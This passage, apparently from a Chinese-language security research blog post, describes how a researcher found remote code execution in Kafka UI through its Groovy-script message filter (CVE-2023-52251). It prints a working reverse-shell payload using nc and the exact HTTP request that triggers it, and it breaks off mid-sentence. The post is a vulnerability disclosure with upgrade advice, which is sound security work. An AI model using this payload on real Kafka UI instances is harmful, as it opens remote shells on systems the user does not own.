在 Kafka UI 中获得远程代码执行的 3 种方法
在这篇博文中,我们将解释我们如何在 Kafka UI 中发现三个关键漏洞,以及如何利用这些漏洞。
7月 22, 2024|更新时间:2024 年 7 月 23 日
|10 分钟
- 共享:
Kafka UI 是一种流行的开源 Web 应用程序,旨在管理和监控 Apache Kafka 集群。它主要由开发人员和管理员用于提供连接的 Kafka 集群的可视化表示。一些用户可能不知道,在其默认配置中,Kafka UI 不需要身份验证即可读取和写入数据。这会导致许多未受保护的 Kafka UI 实例部署在内部网络中,甚至暴露在 Internet 上。它可能不被视为一个重大的安全问题,因为暴露的数据可能是公开的或根本不敏感,但它可能会打开通往内部网络的大门。
在我的安全研究中,我很好奇,也许我能找到一种方法,不仅可以查看发送到 Kafka 的消息,还可以读取文件、发现凭据,甚至获得远程代码执行 (RCE)。在这篇博文中,我将分享我如何在 Kafka UI 中找到三种不同的 RCE 漏洞的过程。
这些漏洞已在 0.7.2 版本中修复,因此如果您使用 Kafka UI,请务必升级!
CVE-2023-52251:通过 Groovy 脚本执行的 RCE
浏览了 Kafka UI 的 Web 界面后,消息过滤功能引起了我的注意。Kafka UI 允许您提供一个简单的查询来筛选服务器端的消息。当我查看源代码时,我发现 Kafka 内部支持过滤器类型并将其作为 Groovy 脚本进行评估,这使得攻击者有可能执行任意代码。GROOVY_SCRIPT
public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {
switch (type) {
case STRING_CONTAINS:
return containsStringFilter(query);
case GROOVY_SCRIPT:
return groovyScriptFilter(query);
default:
throw new IllegalStateException("Unknown query type: " + type);
}
}
要对其进行测试,请通过 UI 导航到其中一个集群,然后选择其中一个主题并单击 “Messages” 选项卡。然后,创建包含以下内容的新筛选条件:
new ProcessBuilder("nc","host.docker.internal","1234","-e","sh").start()
这个 Groovy 脚本将生成一个带有反向 shell 的新进程到您的地址。当我们通过 UI 执行此操作时,浏览器会向服务器发送以下请求:
GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT HTTP/1.1
Host: 127.0.0.1:8091
您可以在 HTTP 客户端(如 Burp Suite Repeater)中重新发出和试验此请求。
默认的 Kaf